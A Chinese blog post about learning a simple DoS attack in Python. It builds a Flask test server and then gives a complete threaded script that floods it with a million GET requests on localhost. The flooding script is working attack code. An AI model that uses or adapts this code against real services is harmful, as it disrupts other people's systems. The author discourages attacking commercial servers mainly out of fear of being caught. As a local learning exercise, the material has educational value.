当前位置: 首页 > article >正文

python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

pip install requests
import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)


http://www.kler.cn/news/289055.html

相关文章:

  • 第十四章 rust集合库介绍
  • Mybatis【分页插件,缓存,一级缓存,二级缓存,常见缓存面试题】
  • 【HarmonyOS】模仿个人中心头像图片,调用系统相机拍照,从系统相册选择图片和圆形裁剪显示 (二)
  • 免费升级https访问
  • Vue3 reactive和ref
  • Chapter 07 watch侦听器
  • 【Next】1. 初识服务端渲染
  • OpenHarmony如何切换横竖屏?
  • 科研绘图系列:R语言富集火山图和通路图(volcano plot pathway)
  • 实现流程化办公,可专注于开源可视化报表设计器!
  • F12抓包01:启动、面板功能介绍、语言设置、前端样式调试
  • 【#第三期实战营闯关作业 ## MindSearch在 Hugging FaceSpace的部署】
  • 缓存解决方案。Redis 和 Amazon ElastiCache 比较
  • lit-llama代码解析
  • 【C++ 面试 - STL】每日 3 题(五)
  • 解读GaussianTalker:利用音频驱动的基于3D高斯点染技术的实时高保真讲话头像合成
  • Idea_服务器自动化部署_傻瓜式教程
  • MySQL中的分组统计
  • 云计算环境下的数据治理
  • 学习之git
  • 算法设计:实验二贪心算法
  • wget下载速度受到哪些因素影响?
  • MySQL:简述多版本并发控制MVCC
  • 无人机之电池篇
  • Python与R的完美协作:深入解析subprocess模块调用R脚本的参数传递机制
  • 安装WMware和Ubuntu并使用xShell连接
  • Map排序与转换的深入探索:Java与Kotlin的实现与应用
  • 宝兰德多款仓颉开源项目获GitCode官方G-Star毕业认证,释放开发效率新动能
  • 将军百战死,程序十年成
  • Spring Cloud Eureka与Kubernetes的集成:服务发现的混合方案